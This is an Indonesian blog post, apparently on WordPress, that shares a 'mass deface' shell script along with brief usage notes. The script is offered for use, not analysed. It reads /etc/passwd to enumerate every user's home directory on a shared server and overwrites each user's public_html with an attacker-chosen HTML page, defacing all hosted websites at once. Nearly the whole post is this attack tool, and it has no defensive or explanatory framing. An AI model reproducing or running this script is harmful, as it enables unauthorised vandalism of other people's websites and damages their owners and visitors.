Mass Deface (shell script)


Note: bila halaman indexnya ada di folder /home/user/public_html/


#/bin/bash
#coded by r0ll0v3r

penggunaan ()
{
echo "## coded by k4j0l ##"
echo "## mass deface script (copy your page to /home/user/public_html/) "
echo "fungsi pemakaian -> sh mass.txt -f /path/for/defacing.html"
exit 1
}

utama()
{
for ((i=1;i<10000;i++))
do
	path=`cat /etc/passwd | grep home | awk 'BEGIN {FS=":"} {print $6}'| awk 'NR=='$i''`	
	if [ "$path" != "" ]
	then cp -rf $2 $path"/public_html/"
	else exit
	fi	
done
}

if [ "$1" == "-f" ]
then utama
else penggunaan
fi

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s